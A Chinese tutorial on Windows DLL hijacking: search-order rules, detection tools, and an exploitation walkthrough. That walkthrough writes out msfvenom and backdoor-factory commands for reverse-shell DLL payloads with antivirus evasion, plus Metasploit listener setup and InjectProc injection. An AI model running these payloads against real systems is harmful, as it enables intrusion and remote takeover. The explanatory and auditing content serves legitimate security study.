一、dll的定义

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”

二、dll的原理利用

2.1 Windows XP SP2之前

Windows查找DLL的目录以及对应的顺序:

1. 进程对应的应用程序所在目录;
2. 当前目录(Current Directory);
3. 系统目录(通过 GetSystemDirectory 获取);
4. 16位系统目录;
5. Windows目录(通过 GetWindowsDirectory 获取);
6. PATH环境变量中的各个目录;

例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

2.2在winxdows
xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session
Manager\SafeDllSearchMode,其键值为1

1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
2. 系统目录(即%windir%system32);
3. 16位系统目录(即%windir%system);
4. Windows目录(即%windir%);
5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
6. PATH环境变量中的各个目录;

2.3
windows7以上

系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

那么最终Windows203以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

三、DLL漏洞检查

3.1使用Process Explorer检查

这里主要找到应用程序dll_hijack_test.exe加载的dll主要调用了dll_hijack_test_dll.dll,而这个dll在KnownDLLs没有,所以存在DLL劫持,建议使用手工查找。

3.2使用DLL
Hijacking Auditor(DLL劫持审计器)

http://securityxploded.com/getsoftware_direct.php?id=7777,此工具只能运行在32位上,貌似误报有点多。

3.3使用自动化rattler
dll检查工具

下载地址:https://github.com/sensepost/rattler/releases

3.4
检查步骤方法

1.启动应用程序

2.使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。

3.从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。

4.通过msf生成劫持的dll漏洞名,或者用K8dllhijack.dll改成劫持的dll名来测试是否存在劫持。

5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功

3.4
InjectProc实现自动注入dll

1.
InjectProc.exe dll_inj  mbox.dll  notepad.exe 
#这里的DLL是可以是msf生成的dll或者远控生成的dll,notepad.exe就是进程里面打开的应用程序名

3.5
DLL存在劫持漏洞搜索库

DLL劫持漏洞翻译成英文叫做 DLL Hijacking
Vulnerability,CWE将其归类为 Untrusted Search Path Vulnerability。如果想要去CVE数据库中搜索DLL劫持漏洞案例,搜索这两个关键词即可。

Corelan博客-提供了存在漏洞(DLL劫持)的应用程序列表(非官方):

http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/

exploit-db网站-提供了存在漏洞(DLL劫持)的应用程序列表:

http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

四、DLL劫持漏洞利用场景

4.1
针对应用程序安装目录的DLL劫持

前提条件需要是管理员权限,一般程序运行的进程对应的目录在默认的%ProgramFiles% 或者是 %ProgramFiles(x86)%下

4.2
针对文件关联的DLL劫持

就是当打开某个文件类型时,会在进程中加载某个应用程序,那么应用程序会关联某个DLL加载,而这时候如何关联的dll不存在,那么最终会在当前目录下查找到关联的dll,这个DLL就是我们恶意的dll.

4.3
针对安装程序的DLL劫持

主要是应用程序安装包,放一个恶意的dll到当期安装包目录下就会被劫持

4.4
msf下dll的劫持利用

1.在kali下使用Msfvenom创建恶意DLL文件

x86:

msfvenom  -p  windows/meterpreter/reverse_tcp  lhost=192.168.1.101  lport=   -f  dll>存在劫持dll名.dll

x64:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.110  lport=  -f dll >存在劫持dll名.dll

2.msf开启反弹shell监听:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp(x86)

set payload windows/x64/meterpreter/reverse_tcp(x64)

set lhost  192.168.1.110

set lport 

exploit

将生产劫持的dll拷贝到存在劫持漏洞的应用程序目录下,然后执行应用程序。这里我将用InjectProc来执行DLL劫持。

injectPro.exe dll_inj  MSF生成的dll  劫持的程序名

然后只要运行记事本,就会反弹msf:

需要用到的工具:(包括用到的利用工具和测试文件)

https://raw.githubusercontent.com/backlion/demo/master/dll.zip

另附上: dll劫持生产工具backdoor-factory免杀和msf的结合

backdoor-factory -f /opt/劫持名.dll   -s   reverse_shell_tcp_inline    -P 192.168.1.110    -H   555

use exploit/multi/handler

set payload windows/shell_reverse_tcp

set lhost  192.168.1.110

set lport 555

exploit

 

Dll劫持漏洞详解的更多相关文章

  1. .NET DLL 保护措施详解(二)关于性能的测试

    先说结果: 加了缓存的结果与C#原生代码差异不大了 我对三种方式进行了测试: 第一种,每次调用均动态编译 第二种,缓存编译好的对象 第三种,直接调用原生C#代码 .net dll保护系列 ------ ...

  2. .NET DLL 保护措施详解(三)最终效果

    针对.NET DLL 保护措施详解所述思路完成最终的实现,以下为程序包下载地址 下载 注意: 运行环境为.net4.0,需要安装VS2015 C++可发行组件包vc_redist.x86.exe.然后 ...

  3. .NET DLL 保护措施详解(四)各操作系统运行情况

    我准备了WEB应用程序及WinForm应用程序,分别在WIN SERVER 2012/2008/2003.Win7/10上实测,以下为实测结果截图: 2012 2008 2003 WIN7 WIN10 ...

  4. .NET DLL 保护措施详解(五)常规条件下的破解

    为了证实在常规手段破解下能有效保护程序核心功能(演示版本对AES加解密算法及数据库的密钥(一段字符串)进行了保护),特对此DLL保护思路进行相应的测试,包含了反编译及反射测试,看是否能得到AES加解密 ...

  5. 老树开新花:DLL劫持漏洞新玩法

    本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...

  6. .NET DLL 保护措施详解(非混淆加密加壳)

    为什么要保护DLL,我就不多说了,各人有各人的理由.总的来说,就是不想核心逻辑泄露及授权验证被破解两大方面的因素.市面上的混淆加密工具对.NET源码保护的效果天差地别,很多网上下到的混淆工具破解版对. ...

  7. DLL劫持漏洞

    写文章的契机还是看沙雕群友挖了十多个DLL劫持的漏洞交CNVD上去了... 就想起来搜集整理一下这部分 0x01 前言 DLL(Dynamic Link Library)文件为动态链接库文件,又称&q ...

  8. 原创QQ影音DLL劫持漏洞+动画实战教程

    1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...

  9. android WebView详解,常见漏洞详解和安全源码

    这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析.  转载请注明出处:http://blog.csdn.net/se ...

随机推荐

  1. 三、利用EnterpriseFrameWork快速开发Winform系统(C/S)

    EnterpriseFrameWork框架实例源代码下载: 实例下载 上一章讲解了开发Web系统的详细步骤,以书籍的管理作实例实现对书籍的增.删.改.查功能,本章接着上面的实例继续补充用Winform ...

  2. MySQL数据库之数据类型和完整性约束

    补充: select * from mysql.user #显示出来乱了 select * from mysql.user\G #加了\G后一行一行显示了 一.数据类型:分不同种类去存不同类型的数据 ...

  3. 如何运用 Powershell 修改Office365和AD账户

    这段时间需要大量地修改AD用户的一些属性,例如邮件,UPN,登录名等等,以便和Office365的登录账号保持一致.写了个简单脚本进行批量修改. #Import AD ModuleImport-Mod ...

  4. Python基本编程题

    问题1:仅使用 Python 基本语法,即不使用任何模块,编写 Python 程序计算下列数学表达式的结果并输出,小数点后保留3位.‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‮‬‪‬ ...

  5. 在Unity中使用带碰撞体的TiledMap

    虽然最近Unity2018版本推出了自己的瓦片地图,但是这个瓦片地图有点BUG,在场景内把瓦片地图铺好做成预制体,动态生成的时候居然丢失了碰撞体,于是我决定还是使用Tiled软件绘制地图并使用Tile ...

  6. openstack golang sdk使用

    1. go get github.com/gophercloud/gophercloud import ( "github.com/gophercloud/gophercloud" ...

  7. Python3实现机器学习经典算法(一)KNN

    一.KNN概述 K-(最)近邻算法KNN(k-Nearest Neighbor)是数据挖掘分类技术中最简单的方法之一.它具有精度高.对异常值不敏感的优点,适合用来处理离散的数值型数据,但是它具有 非常 ...

  8. 初试Gevent – 高性能的Python并发框架

    Gevent是一个基于greenlet的Python的并发框架,以微线程greenlet为核心,使用了epoll事件监听机制以及诸多其他优化而变得高效. 于greenlet.eventlet相比,性能 ...

  9. GIT团队实战

    项目要求 组长博客 遇到的困难及解决办法 组员1(组长):王彬 遇到的困难  在团队任务分工的时候没有充分照顾到所有人,导致队员们的工作量不均. 现场编程时间不够 解决办法 在此对组员们表示抱歉,由于 ...

  10. NSURLErrorDomain错误代码

    kCFURLErrorUnknown = -998, kCFURLErrorCancelled = -999, kCFURLErrorBadURL = -1000, kCFURLErrorTimedO ...